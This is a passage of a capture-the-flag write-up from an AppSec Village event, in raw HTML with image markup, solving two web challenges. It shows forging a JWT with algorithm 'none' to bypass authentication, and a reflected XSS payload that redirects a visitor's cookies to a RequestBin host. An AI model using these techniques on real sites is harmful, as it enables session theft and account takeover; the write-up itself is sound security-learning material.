    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 8.860759493670885%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAbUlEQVR42lWLSQqAMBAE/YlHFTVOEg8acUcQ3MX/f6U1Qy4ehq4uerwoiFAUBqasQEJCkoKU+p+koSy7bplcapWzI7f3fGoQmhlqepC2O5J2g+gOpHy27+yz4YLoT2Yab95l/QH6fFwvSJqV/142xEH6dhfKEAAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Session cookie&quot;
        title=&quot;Session cookie&quot;
        src=&quot;/static/2496872979370807b4bd6fdf925a5220/f058b/Auth1.png&quot;
        srcset=&quot;/static/2496872979370807b4bd6fdf925a5220/c26ae/Auth1.png 158w,
/static/2496872979370807b4bd6fdf925a5220/6bdcf/Auth1.png 315w,
/static/2496872979370807b4bd6fdf925a5220/f058b/Auth1.png 630w,
/static/2496872979370807b4bd6fdf925a5220/5e3a3/Auth1.png 763w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;It looked very much like a JWT token (confirmed by decoding as Base64 and removing non-alphabetical characters):&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ff6e317e53180a46669b89d19422c4c8/c9c3a/Auth2.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 25.949367088607595%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABGklEQVR42j2O2U7DMBBF8///gMQDfAXvvCCQ6EO3dMna2k7c1I6zlDQ5uJFgpKORRjN3TrCO90TqTOmuFEaQyCO6Uf/ssi3LKGSXx0jjZ66gtJKyVpyK1O9nbPOUMD/y9v5J4OqG8X6HCdqm4yDXJPrgw+SMtDmiSlFKUekLutA8brq2m/e7mZbhdiOJTwRfmeV4aUlNT1I1rMWKvdogah/SnCg7gXQ5bddy94/v48A4jUzTxDAM9H3vuXmhESEvBB+5ZaFalvpGqFu2ZURiduz1hrgKObvUh2cIIbDGUtf1jHNuxhhDVVU0jSPNFMFCeivdsyx7omvH0P2wEkuev594Xb2QlmfOxSPEYK2dLcdxnHlYPuqvq+LKL/VkeK+pSKbHAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Inspecting the token&quot;
        title=&quot;Inspecting the token&quot;
        src=&quot;/static/ff6e317e53180a46669b89d19422c4c8/f058b/Auth2.png&quot;
        srcset=&quot;/static/ff6e317e53180a46669b89d19422c4c8/c26ae/Auth2.png 158w,
/static/ff6e317e53180a46669b89d19422c4c8/6bdcf/Auth2.png 315w,
/static/ff6e317e53180a46669b89d19422c4c8/f058b/Auth2.png 630w,
/static/ff6e317e53180a46669b89d19422c4c8/40601/Auth2.png 945w,
/static/ff6e317e53180a46669b89d19422c4c8/78612/Auth2.png 1260w,
/static/ff6e317e53180a46669b89d19422c4c8/c9c3a/Auth2.png 1289w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;a href=&quot;https://jwt.io/&quot;&gt;an online debugger&lt;/a&gt;, I inspected the token.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7806b05635925a3c22e17d64424a8568/4d383/Auth3.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 57.59493670886076%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAABfUlEQVR42o2TSU7DQBBFfR8kdgixYMWJuAkSYhILTsERQAwLlrBJyKBMSrBxj2738Kl2TBSDE6Wlp25L1dX/V5WT/nAAJgWsd/AhoG0prdHpdDAejWCthTEGzrnW2CTMGfyCIyxoTwXKyLeETTkMLxGfcJSEcw5NiVRRwBQG3vtWkvmkBJsStE/nBlNmkPElX9JXr8ZAGAsIDZQWm1Ygh4mg2JJkKL/E1a7XzUd7pdTwXCEUUXWoLv+lUogdVqybiHV2tqrzJrv/EoYNCSvL5DSYLUG/lndT6MDzHIJR84JH2FXhNssD6vowY8iFJBSkVFCqSUETkNRatyaMY9OjUXpPVUU3k8goMVsj5wJSaZrDuiwrWroXqMtWy2rA46VSKxojSagGoSSFQQgEzgiqDwU2xiAsnxlrj/NPheuewiVx09O4G2jc9jUu6HxFnHUV7meGLM9mwGQM0C+ING12t67EG3PYfxQ4fBI4II6eBU5eJY5f5Op774Hj9EPjB0+noV+xi9JqAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;The decoded token&quot;
        title=&quot;The decoded token&quot;
        src=&quot;/static/7806b05635925a3c22e17d64424a8568/f058b/Auth3.png&quot;
        srcset=&quot;/static/7806b05635925a3c22e17d64424a8568/c26ae/Auth3.png 158w,
/static/7806b05635925a3c22e17d64424a8568/6bdcf/Auth3.png 315w,
/static/7806b05635925a3c22e17d64424a8568/f058b/Auth3.png 630w,
/static/7806b05635925a3c22e17d64424a8568/40601/Auth3.png 945w,
/static/7806b05635925a3c22e17d64424a8568/4d383/Auth3.png 1195w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Reading the IETF &lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc7519&quot;&gt;JWT Memo&lt;/a&gt;, i noticed something interesting:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;6.  Unsecured JWTs

   To support use cases in which the JWT content is secured by a means
   other than a signature and/or encryption contained within the JWT
   (such as a signature on a data structure containing the JWT), JWTs
   MAY also be created without a signature or encryption.  An Unsecured
   JWT is a JWS using the &quot;alg&quot; Header Parameter value &quot;none&quot; and with
   the empty string for its JWS Signature value, as defined in the JWA
   specification [JWA]; it is an Unsecured JWS with the JWT Claims Set
   as its JWS Payload.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I then modified the token, by removing the signature (the part behind the dot/period – JWT is formatted as &lt;code class=&quot;language-text&quot;&gt;&amp;lt;token&gt;.&amp;lt;signature&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/8e09d54bd04fc27b0e2916f3871fee8d/620ae/Auth4.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 36.708860759493675%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABZUlEQVR42m2R627bMBSD/f4Y9lj9sS1BiyVtsyZx1tiyrYtt+X7/JnsrMAw7AIEDSqBIynsLblzEHZEbVKmJdECsBbbJKLucS+BzOJ+4xSGBcnybkrcZMo8QJuIqJdco4PXnhcPthpdqQ9+2rDOPC4G8cwyeeM+uyFrwri/4yYnEhBhpsJmlyAsyk2GUoSpK8jRDJdKdZXi+qlFFR9P3SNu5PcFXJ0J9p3BOmqnE9s5Vk8LiHp1n5mVmWZb/wvsSWB6jilfT8ZaOHOOEB/8bL8meg8OzfOScPiNLQd8NTPO0iY7jSO9MdF1H6xKu+8p5u7Dge1JvgifTIwpLUkXoJkbVsYsdYdoYbSUiFFRVRV27VEoRxzFCCKTr0Vq7CXs7UXJUjRPreNGtK33c+lztr05+x4RpnBiGgaEfNjcfWLn17sd4X4Nii7wJOuiyobE1e7Hn8+4TP9SZ8911+efj/p2/xVbBXzSeE32Lz9aSAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Removing the signature&quot;
        title=&quot;Removing the signature&quot;
        src=&quot;/static/8e09d54bd04fc27b0e2916f3871fee8d/f058b/Auth4.png&quot;
        srcset=&quot;/static/8e09d54bd04fc27b0e2916f3871fee8d/c26ae/Auth4.png 158w,
/static/8e09d54bd04fc27b0e2916f3871fee8d/6bdcf/Auth4.png 315w,
/static/8e09d54bd04fc27b0e2916f3871fee8d/f058b/Auth4.png 630w,
/static/8e09d54bd04fc27b0e2916f3871fee8d/40601/Auth4.png 945w,
/static/8e09d54bd04fc27b0e2916f3871fee8d/620ae/Auth4.png 1043w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Then changing the algorithm-parameter to &quot;none&quot; and removing the payload:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/d5b56715df46b27b20430c45842d20c2/76823/Auth5.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 39.87341772151899%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABrElEQVR42nWQXW8SURCG948aGwkfQjFG0hKr8U/ob/HG9MbbmrSmSESh0LKwC8t+L3vO7sI+zkJjosZJ3pzJnHPeeWaMbv+cF/0z2qdtOt0mvdevOH/Xp37aoNau8axd52mryZNGnZPnVa1OrdOg3mly0pL7bpeXby7ovb2g1TvDmFomD45NkKVsd4pNsGLpmGSlIkdhezaD8QjbdyQ3SQsPx3/AjRa4sctmm3C/tpmJz7fpFMN1AzKdQblnX5Qs1nNuzWvMYIYVzzH9O+5WP1kHQxL/E7F/ie98JPI+U+S5fCvZFYXkoizD+GHHWEFKlGo5FcvAZmKPmDv3BMojySMC7Unucoy9qHzUv2F8WUTcWAnfN5qhyE1Tchld5Sm6UGS7o3QuNaXJhSQXskxotNak8j6KIrlTh7pxZYbcrraM3MpQEar80Onv/kmSMB6PWS6XTGVXs9nscFqWzXrtiGks5grjWuiGjno01Pip7HO/F6KK1hW6jEKmVEIThiFxHP9WRVZR/jHylRnx1U6OhqJNvCUJEwarAR9u3jNxJ0xkLamM9L8oy/KgyvAXgdFDRANrZAgAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Fixing the token&quot;
        title=&quot;Fixing the token&quot;
        src=&quot;/static/d5b56715df46b27b20430c45842d20c2/f058b/Auth5.png&quot;
        srcset=&quot;/static/d5b56715df46b27b20430c45842d20c2/c26ae/Auth5.png 158w,
/static/d5b56715df46b27b20430c45842d20c2/6bdcf/Auth5.png 315w,
/static/d5b56715df46b27b20430c45842d20c2/f058b/Auth5.png 630w,
/static/d5b56715df46b27b20430c45842d20c2/40601/Auth5.png 945w,
/static/d5b56715df46b27b20430c45842d20c2/76823/Auth5.png 1038w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Editing the cookie in the browser and reloading the page now shows us something different.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/ef2c14fbe303e17db539b4b189da82d6/42de8/Auth6.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 58.86075949367089%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACN0lEQVR42oVOSU9aYRR9P6W2aCvzYzalcahpTWxsukVBBZeUFakIJM5WICzAhRoENQRTgf9UNAIhYVMmgc3pd28Dopu+5OTce78zPKnVauHx8RGdTgfdbhe9Xg9tMTebTTQaTfxpNHgnTb/fx/8+6XephIeHMiqVCirVKsrlCqqCR/fS3R3uCPf3fK/VaqjX62i326AfGoV0e3sLQj6fZ9BcKBQYxWKReaAh/BrR0vtLSJeXl8hkMs9wcXHBSKVSzE/3FNLpNN+JX/oIUjKZxCgSiQSo5Pr6GtlslkVnZ2c4PT1FLpfjoJubGw4l7cnJyTO/dHh4iKOjIxDv7+/j4OCAxefn5xxGwRRGxqurq2FRPB7H3t4e6wd+YmlrawuBQADhcBiRSAS7u7vY3t5GNBplMZnoTmXHxz+xs7PDt1gsNgyhjAEkn88Hr9cLv9/PocFgkJlCKZx2Mm1u/hgWh0IhLqDgUCjMfp/vOyhLcjiWsby8ghWnk3l1dQ1utwfrbjczz+tubGxswCk09O7xeOByuXheE8zeFSccDgck+4cZmC1T0BvMMJossE3ZoZNNDKPJCq3OAJ3eyBqr7T2mZ+cxN/8Zs3OfIBstMAuP1WaH0TwFg9il6ZmPWPzyFRqtDKVaC4PJBsXEJCbeqWASItlggV42QytC1RoZKo0eGp2RizRaA+8EpUoLkyiVFhYWsbT0TZitmFSq8WpMgbHX4wyax0X4P7MsAvXMKrVeaDVDzQBvFG/xF8lhZfxM24HxAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Accessing the site&quot;
        title=&quot;Accessing the site&quot;
        src=&quot;/static/ef2c14fbe303e17db539b4b189da82d6/f058b/Auth6.png&quot;
        srcset=&quot;/static/ef2c14fbe303e17db539b4b189da82d6/c26ae/Auth6.png 158w,
/static/ef2c14fbe303e17db539b4b189da82d6/6bdcf/Auth6.png 315w,
/static/ef2c14fbe303e17db539b4b189da82d6/f058b/Auth6.png 630w,
/static/ef2c14fbe303e17db539b4b189da82d6/40601/Auth6.png 945w,
/static/ef2c14fbe303e17db539b4b189da82d6/42de8/Auth6.png 1033w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Scroll down a bit, and see the flag (&lt;code class=&quot;language-text&quot;&gt;n0_s1gn@tur3_r3qu1r3d&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 551px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/88caee5b9b0b3bebb8da6e6862c8ef68/db783/Auth7.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 18.354430379746837%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA20lEQVR42lWOPcqDQBiEvYCVaCGIP7GxF/t8BxAbKwt3I1p4Bc/xZTViFFQUIbnixF1JQoqH2Z2Z992VNE2DoiiQZRm6rsN1Xdi2DcdxYJomLMv6nLm+4R2eceUzhmFAVVVIQRAgjmNEUYSqqrBtG9q2Rd/3WNdV8Hw+MM8zpmlC13WfbBgGjOOIZVnAGIPneZBO+2u+7+PvfEYYhsiyDIQQUEpQliXyPEdRFEIppSJL01TcD4/gsvtJksDefyzd7z1utxasrlE3jdA3/1eGK/ty+I3g8OqfPt/1AhFor+oJ6ahEAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;The flag&quot;
        title=&quot;The flag&quot;
        src=&quot;/static/88caee5b9b0b3bebb8da6e6862c8ef68/db783/Auth7.png&quot;
        srcset=&quot;/static/88caee5b9b0b3bebb8da6e6862c8ef68/c26ae/Auth7.png 158w,
/static/88caee5b9b0b3bebb8da6e6862c8ef68/6bdcf/Auth7.png 315w,
/static/88caee5b9b0b3bebb8da6e6862c8ef68/db783/Auth7.png 551w&quot;
        sizes=&quot;(max-width: 551px) 100vw, 551px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;Send Me Something Interesting!&lt;/h3&gt;
&lt;h4&gt;Challenge&lt;/h4&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Man, you gotta send me something interesting here. I check ALL submissions! Almost always online!

~ elliot&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4&gt;Solution&lt;/h4&gt;
&lt;p&gt;The challenge site is a form that consists of a text-field used to send a URL for the site owner to check out.
Inspecting the site&apos;s markup reveals this comment:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;!-- Note to sociallyencrypted, I have started working on the API endpoint. Check it out the test endpoint here /api/test --&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Checking out the API (i.e. URL &lt;code class=&quot;language-text&quot;&gt;https://&amp;lt;SITE&gt;/api/test&lt;/code&gt;) returns the text&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Use the parameter &apos;key&apos; to make it reflect.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Updating the URL to include the &quot;key&quot;-parameter (i.e. URL &lt;code class=&quot;language-text&quot;&gt;https://&amp;lt;SITE&gt;/api/test?key=test&lt;/code&gt;) now returns the text&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;test like this! see? i am an API guru!&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This sure looks like a reflected Cross Site Scripting (XSS)-opportunity to me, as the API response seems to print out anything put in the &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt;-parameter of a request. This also means that anyone using the API via a browser (i.e. visiting a link pointing there) would have their browser render any markup (HTML) – possibly including dynamic content (JavaScript). Setting the &lt;code class=&quot;language-text&quot;&gt;key&lt;/code&gt;-parameter to &lt;code class=&quot;language-text&quot;&gt;&amp;lt;script&gt;alert(1)&amp;lt;/script&gt;&lt;/code&gt; pops an alert-dialog in my browser, and confirms my suspicion.&lt;/p&gt;
&lt;p&gt;I create a free HTTP Request inspection service at &lt;a href=&quot;https://requestbin.net/&quot;&gt;RequestBin&lt;/a&gt;, and craft a payload that would steal a visiting user&apos;s cookies by making a request to my service with the user&apos;s cookies as parameters. The resulting URL (including payload) is&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;http://3.142.52.170/api/test?key=%3Cscript%3Ewindow.location=%22http://requestbin.net/r/bao6ejkd?cookies=%22+JSON.stringify(document.cookie)%3C/script%3E&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then I submit the URL to the site:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 430px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/2196f966ee4885bca05d9716484db7bf/05ed2/Interesting1.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 63.92405063291139%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAACW0lEQVR42q2S3UvTURjH93pVqWyuzeZktlfntsZWTkENVPBCTdn0L/JGuzC76jIhFMz5shfnMrDMCqILQ+gNIcK0UqNEwoto+3R+J7e0rKsOfPnyPOc53/M853xVkUiEzs5OmpubaWhowOfzoeR6e3tpamoiHA4TjUZpa2uju7tbor29Xe4p3NjYKPe6uroIhUKoLBYLwWAQp9OJy+XCbrdLeDweTCYTRqMRs9mMzWbDarVSXV2N3+/H7XYTCARwOBx4vV4prGioxOIotFqt5I6ODkZHR7k6PMzg4CBDQ0OSh0Xc398va9RqNb+fVynJImSRRiO5zldPfGCAWDzOlb4+4oJjsRg9PT3ySY4KKqwR52RcTCqjz96eZCmb5W4mQ3pykqmxMabGx0lMTDClQOQSiQTp1BzTqUVu3MyQFfWHo0pRleawo1qHk71XL+H5GoW1VXizDp92YXcb3m/Cl8+Qz1MoINf61leS9zY4OPjGxcOOjwuKW/bWnsHqUwpPHsHrF7DxFraE2J4Q29z4Gee/kxeqO9sf2Pn4jv39/dITSK3SyFVVZOdmebx4hwcLWVbm53mYTnE/lWRhOkFu/BZLM9OsLC+Ty+WYmZklnc6QTKakI0qCx35ISWh1qHU6NHq9jA3COpeFz1oFrDU1JSfoRI3CxQmPQMVJKBZ6vXXCPtcZGblGS0vrsb2/4Fcgv1/AZj3LOUslVgFDxRkqyk5RUX4ak7Eco6GMSkM5VWaj7PAEL/55SzjgJHLBTTTsJeg7Tzjoot5jl+z32kWulkshD3q97t8d/g/8AERFxTocuUdVAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Submitting the cookie stealing payload&quot;
        title=&quot;Submitting the cookie stealing payload&quot;
        src=&quot;/static/2196f966ee4885bca05d9716484db7bf/05ed2/Interesting1.png&quot;
        srcset=&quot;/static/2196f966ee4885bca05d9716484db7bf/c26ae/Interesting1.png 158w,
/static/2196f966ee4885bca05d9716484db7bf/6bdcf/Interesting1.png 315w,
/static/2196f966ee4885bca05d9716484db7bf/05ed2/Interesting1.png 430w&quot;
        sizes=&quot;(max-width: 430px) 100vw, 430px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;After a few minutes, I check my RequestBin, and see the flag (&lt;code class=&quot;language-text&quot;&gt;C0ok13_th31f &lt;/code&gt;) was in the visiting user / site owner&apos;s cookies:&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/aecd6974a5892056805ffd3a0650b73a/46115/Interesting2.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 63.92405063291139%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAABcElEQVR42qVTi1LCMBDsZ/ID/Bg/4+iAIJWRERQoFEoaQt8tpO16ibWiFBnGm9k2k8fe7V5i3FlbLJmHMPDhBwFs24bneVDR6XTQarXQbrdhmqaey7IMx+PxB6SU9djYiT2YyxFFEeI4rpEkKTzfR0BJwjCs5pIzxHRO7D19Pk1TGPZ6g/l8AcYYOOdwXRdCCA3HcTShT8Sq6iaofdO3GTbVXiOKYi1DlX0aMs8pCUdCWa9FWZb1mCQLkhYgiql8QlkUlVcH3HcHsJa2TibJn6Ja+4vYUB8FtbkoaIyyJuwNTIxeJnC2HDH5pUzPqXIpc53kdwJNeKn8lGzoD0d4nc6wsFZQzeM7AcZ3cJgLlwtKIG8j7PaHGD6PsXa2+FJyikbJ55Of/8Ohkjye0P0Mz8y/6OElwowIH59GeJ9bCMIIId0GRaz8u5HwuykPvQFW9kZfnTwvcKXAT0L1AlTnmhZVZWma6W5ek1sTNpH9Jz4ABT/xQG6rbfkAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Request Bin with Flag&quot;
        title=&quot;Request Bin with Flag&quot;
        src=&quot;/static/aecd6974a5892056805ffd3a0650b73a/f058b/Interesting2.png&quot;
        srcset=&quot;/static/aecd6974a5892056805ffd3a0650b73a/c26ae/Interesting2.png 158w,
/static/aecd6974a5892056805ffd3a0650b73a/6bdcf/Interesting2.png 315w,
/static/aecd6974a5892056805ffd3a0650b73a/f058b/Interesting2.png 630w,
/static/aecd6974a5892056805ffd3a0650b73a/40601/Interesting2.png 945w,
/static/aecd6974a5892056805ffd3a0650b73a/78612/Interesting2.png 1260w,
/static/aecd6974a5892056805ffd3a0650b73a/46115/Interesting2.png 1290w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Wrap-up&lt;/h2&gt;
&lt;p&gt;I&apos;d like to thank the volunteers of the AppSec Village for hosting this great CTF, and for a great village.&lt;/p&gt;
&lt;p&gt;I had so much fun that, even though I didn&apos;t have that much free time this weekend because of other commitments, I ended up staying up all night between saturday and sunday to work more on the challenges.&lt;/p&gt;
